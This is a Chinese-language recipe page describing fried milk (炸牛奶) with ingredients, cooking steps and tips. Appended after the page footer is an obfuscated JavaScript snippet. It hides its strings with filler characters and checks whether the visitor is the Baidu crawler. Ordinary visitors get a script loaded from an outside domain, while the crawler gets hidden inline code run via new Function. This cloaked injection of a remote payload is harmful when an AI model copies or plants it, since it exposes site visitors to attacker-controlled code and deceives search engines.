當前位置:首頁 > 飲食 > 烹飪技巧 > 正文

炸牛奶的簡介 炸牛奶的做法

2016-06-24 08:32:36  來源:360常識網(wǎng)   熱度:
導語:將牛奶,淡奶油,糖,淀粉混合均勻無顆粒,開中火,有點變稠以后可以轉(zhuǎn)小火,不停攪拌至濃稠。關火。趁熱盛到容器中,冷卻成型。切成適合的大小方塊。

炸牛奶的簡介 炸牛奶的做法

炸牛奶的簡介 炸牛奶的做法

炸牛奶的簡介

炸牛奶以鮮奶和糯米為主要原料做成的一道美食,屬于甜點。此甜品充分保持了新鮮牛奶的營養(yǎng)成分。本品溫油炸后,外皮脆而不硬,內(nèi)心鮮嫩可口,具有鮮奶的味道。味道鮮美,并以其口感舒適、形態(tài)可愛的特點深受老人和兒童的喜愛。

炸牛奶的做法

食材:主料牛奶500g,淀粉100g,雀巢淡奶油130g,糖70g,輔料面粉100g,油10g,鹽4g,泡打粉1小勺,味精適量。

步驟

1、將牛奶,淡奶油,糖,淀粉混合均勻無顆粒,開中火,

2、有點變稠以后可以轉(zhuǎn)小火,不停攪拌至濃稠。關火。

3、趁熱盛到容器中,冷卻成型。

4、切成適合的大小方塊。面粉,油,鹽,味精,泡打粉加適量水調(diào)成脆漿。

5、鍋中入油,燒至七八成熱,將奶糕沾滿脆漿。

6、下鍋炸制金黃色即可。

7、外焦里嫩,好吃營養(yǎng)。

小貼士

沒有淡奶油也可以不加,只是為了增加奶香。這個做出來有兩盤的量,大家可以酌情減少。

轉(zhuǎn)載申明:360常識網(wǎng),歡迎分享,轉(zhuǎn)載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}